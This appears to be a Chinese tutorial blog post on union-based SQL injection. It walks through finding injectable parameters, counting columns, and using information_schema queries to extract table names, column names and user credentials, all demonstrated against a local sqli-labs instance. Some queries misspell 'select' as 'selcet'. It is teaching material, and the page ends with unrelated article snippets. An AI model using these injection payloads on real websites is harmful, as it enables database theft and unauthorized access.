二、SQL注入之联合查询

文章目录

  • 1、SQL注入原理
  • 2、SQL注入的原因
  • 3、SQL注入的危害
  • 4、SQL注入基础
    • 4.1 MySQL相关
    • 4.2 SQL注入流程:
  • 5、联合注入实例基本步骤
  • 6、总结

1、SQL注入原理

  SQL注入(Sql Injection)就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

2、SQL注入的原因

  • 程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句;
  • 未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

3、SQL注入的危害

  • 攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。
  • 在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。

4、SQL注入基础

4.1 MySQL相关

  在mysql数据库中存在一个Information_schema数据库,这个数据库里面存在两张表。一个是tables表,里面存有所有的表名和数据库名;另一个是columns表,里面存有所有的字段名,字段所属的表名,字段所属的库名。以下是关于Information_schema数据库的拓扑图:

在这里插入图片描述

4.2 SQL注入流程:

  由于关系型数据库,具有明显的库/表/字段/字段内容结构层次,在对SQL注入漏洞的注入过程中获取数据库信息的时候,也可以按照这种顺序:

数据库名 ⟶ \longrightarrow 表名 ⟶ \longrightarrow 字段名 ⟶ \longrightarrow 字段内容

  手工注入流程:

  • 寻找传参页面;
  • 判断是否存在注入点;
    • 字符型注入?
    • 数字型注入?
  • 判断字段的数量;
  • 判断字段回显的位置;
  • 查找数据库名、表名、字段名、字段内容;
  • 登录后台。

(1)判断注入点

  • and 1=1 / and 1=2 回显页面不同(整形判断)
  • 单引号判断 ‘ 显示数据库错误信息或者页面回显不同(整形、字符串类型判断)
  • ’ and ‘1’ = '1 / ’ and ‘1’ = '2 回显页面不同(字符型判断)
  • and sleep(5)(判断页面返回时间,万能)
  • 在SQL语句中,and的优先级比or高。
  • SQL语句注释:# 或者 --[space] 或者 --+

(2) SQL注入分类

  • 根据注入点的数据类型,可分为:
    • 数字型注入
    • 字符型注入

❗️❗️❗️二者最大的区别在于:字符型需要闭合,整型不需要闭合。

  • 根据数据库执行的结果,可分为(四大基本手法):
    • 联合查询
    • 报错注入
    • 布尔盲注
    • 延时注入
  • 根据数据提交的方式,可分为:
    • Get注入
    • Post注入
    • Cookie注入
    • HTTP头部注入
  • 其他注入类型:
    • base64注入
    • 宽字节注入
    • 搜索型注入
    • 读写文件

5、联合注入实例基本步骤

  联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用谓词为UNIONUNION ALL

(1)寻找传参页面,http://xxx.com/index.php?id=1

在这里插入图片描述

(2)判断注入点,127.0.0.1/sqli/less-1/index.php?id=1'

在这里插入图片描述

可以根据报错信息判断:如果是字符型注入,应该闭合什么符号,此处是闭合单引号。

(3)判断字段数量,order by命令,127.0.0.1/sqli/less-1/index.php?id=1’ order by 3 --+

在这里插入图片描述

1后面的‘是为了闭合SQL语句中的引号

(4)判断回显位置,127.0.0.1/sqli/less-1/index.php?id=1’ union selcet 1,2,3 --+

在这里插入图片描述

(5)查数据库名,127.0.0.1/sqli/less-1/index.php?id=1’ union selcet 1,2,database() --+

database():查看当前数据库名

(5)表名

  • 查表名:select group_concat(table_name) from information_schema.tables where table_schema='security'
  • information_schema.tables:指定information_schema数据库中的tables表;
  • table_schema字段:保存所有的数据库名;
  • table_name字段:保存所有的表名;
  • group_concat()函数:输出所有属于‘security’数据库的所有表

在这里插入图片描述

(6)字段名

  • 查询字段名:select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'

在这里插入图片描述

(7)字段内容

  • 查询字段内容:select group_concat(concat(username,'%23',password)) from security.users

concat()函数:拼接。例如:
concat(‘hello’,‘+’,‘world’) ⟶ \longrightarrow 输出:hello+world

在这里插入图片描述

在这里插入图片描述

6、总结

  sql注入的基本流程:

  • 寻找传参页面;
  • 判断是否存在注入点;
    • 字符型注入?
    • 数字型注入?
  • 判断字段的数量;
  • 判断字段回显的位置;
  • 查找数据库名、表名、字段名、字段内容;
  • 登录后台。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/48386.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【从零学习python 】56. 异常处理在程序设计中的重要性与应用

文章目录 异常的概念读取文件异常try...except语句try...else语句try...finally语句 进阶案例 异常的概念 在程序运行过程中,由于编码不规范或其他客观原因,可能会导致程序无法继续运行,此时就会出现异常。如果不对异常进行处理,…

[C++] string类常用接口的模拟实现

文章目录 1、前言2、遍历2.1 operator[ ]下标方式2.2 迭代器2.3 范围for2.4 c_str 3、容量相关3.1 size(大小)3.2 capacity(容量)3.3 empty(判空)3.4 clear(清理)3.5 reserve3.6 res…

最新AI系统ChatGPT网站程序源码/搭建教程/支持GPT4.0/Dall-E2绘画/支持MJ以图生图/H5端/自定义训练知识库

一、正文 SparkAi系统是基于国外很火的ChatGPT进行开发的Ai智能问答系统。本期针对源码系统整体测试下来非常完美,可以说SparkAi是目前国内一款的ChatGPT对接OpenAI软件系统。 那么如何搭建部署AI创作ChatGPT?小编这里写一个详细图文教程吧&#xff01…

SpringMVC之入门搭建框架

文章目录 前言一、SpringMVC简介1.什么是MVC2.什么是SpringMVC3.SpringMVC的特点 二、搭建框架——HelloWorld1.创建maven工程(web项目)2.配置web.xml3.配置springMVC.xml4.创建请求控制器 总结 前言 基础小白第一次走进SpringMVC:了解什么是…

LinkedList

LinkedList的模拟实现(底层是一个双向链表)LinkedList使用 LinkedList的模拟实现(底层是一个双向链表) 无头双向链表:有两个指针;一个指向前一个节点的地址;一个指向后一个节点的地址。 节点定…

vim 配置环境变量与 JDK 编译器异常

vim 配置环境变量 使用 vim 打开系统中的配置信息(不存在将会创建): vim ~/.bash_profile 以配置两个版本 JDK 为例(前提是已安装 JDK),使用上述命令打开配置信息: 输入法调成英文,输入 i&…

Python爬取斗罗大陆全集

打开网址http://www.luoxu.cc/dmplay/C888H-1-265.html F12打开Fetch/XHR,看到m3u8,ts,一眼顶真,打开index.m3u8 由第一个包含第二个index.m3u8的地址,ctrlf在源代码中一查index,果然有,不过/…

解决:(error) ERR unknown command shutdow,with args beginning with

目录 一、遇到问题 二、出现问题的原因 三、解决办法 一、遇到问题 要解决连接redis闪退的问题,按照许多的方式去进行都没有成功,在尝试使用了以下的命名去尝试时候,发现了这个问题。 二、出现问题的原因 这是一个粗心大意导致的错误&am…

【unity小技巧】Unity2D TileMap+柏林噪声生成随机地图(附源码)

文章目录 前言柏林噪声素材导入Rule Tile配置生成随机地图问题扩展问题添加植被源码参考完结 前言 我的上一篇文章介绍了TileMap的使用,主要是为我这篇做一个铺垫,看过上一篇文章的人,应该已经很好的理解TileMap的使用了,这里我就…

【学习日记】【FreeRTOS】延时列表的实现

前言 本文在前面文章的基础上实现了延时列表,取消了 TCB 中的延时参数。 本文是对野火 RTOS 教程的笔记,融入了笔者的理解,代码大部分来自野火。 一、如何更高效地查找延时到期的任务 1. 朴素方式 在本文之前,我们使用了一种朴…

图像检索,目标检测map的实现

一、图像检索指标Rank1,map 参考:https://blog.csdn.net/weixin_41427758/article/details/81188164?spm1001.2014.3001.5506 1.Rank1: rank-k:算法返回的排序列表中,前k位为存在检索目标则称为rank-k命中。 常用的为rank1:首…

Dockerfile文件详细

Dockerfile 是一个文本文件,里面包含组装新镜像时用到的基础镜像和各种指令,使用dockerfile 文件来定义镜像,然后运行镜像,启动容器。 dockerfile文件的组成部分 一个dockerfile文件包含以下部分: 基础镜像信息&…

SQL注入之万能用户名

文章目录 分析代码原理实现 分析代码 在安装的cms数据库目录C:\phpStudy\WWW\cms\admin下找到login.action.php文件,查看第20行,发现如下php代码: $user_row $db->getOneRow("select userid from cms_users where username "…

docker 04(docker 应用部署)

一、部署Mysql 需求: 在Docker容器中部署MySQL,并通过外部mysql客户端操作MySQLServer。 二、部署tomcat 三、部署nginx 四、部署redis

PHP 房产网站系统Dreamweaver开发mysql数据库web结构php编程计算机网页项目

一、源码特点 PHP 房产网站系统是一套完善的WEB设计系统,对理解php编程开发语言有帮助,系统具有完整的源代码和数据库,系统主要采用B/S模式开发。 源码 https://download.csdn.net/download/qq_41221322/88233553 论文 https://download…

RISC-V公测平台发布 · 数据库在RISC-V服务器上的适配评估

前言 上一期讲到YCSB在RISC-V服务器上对MySQL进行性能测试(RISC-V公测平台发布 使用YCSB测试SG2042上的MySQL性能),在这一期文章中,我们继续深入讨论RISC-V数据库的应用。本期就继续利用HS-2平台来测试数据库软件在RISC-V服务器…

Unity 之 Input类

文章目录 总述具体介绍 总述 Input 类是 Unity 中用于处理用户输入的重要工具,它允许您获取来自键盘、鼠标、触摸屏和控制器等设备的输入数据。通过 Input 类,您可以轻松地检测按键、鼠标点击、鼠标移动、触摸、控制器按钮等用户输入事件。以下是关于 I…

数学建模-模型详解(2)

微分模型 当谈到微分模型时,通常指的是使用微分方程来描述某个系统的动态行为。微分方程是描述变量之间变化率的数学方程。微分模型可以用于解决各种实际问题,例如物理学、工程学、生物学等领域。 微分模型可以分为两类:常微分方程和偏微分…

《学爸》成爆款背后,马栏山以BOT模式示范“文化+科技”路径

文|智能相对论 作者|范柔丝 今年暑期档的爆款电影,必有《学爸》一席之地。 这部给众多深陷教育旋涡的家长带来深刻思考的电影,就是马栏山视频文创产业园经过3年筹备,首部本土孵化出品的教育现实体裁院线大电影。 据猫眼专业版数据&#x…

初步认识OSPF的大致内容(第三课)

1 路由的分类 直连路由(Directly Connected Route)是指网络拓扑结构中相邻两个网络设备直接相连的路由,也称为直接路由。如果两个设备属于同一IP网络地址,那么它们就是直连设备。直连路由表是指由计算机系统生成的一种用于路由选择…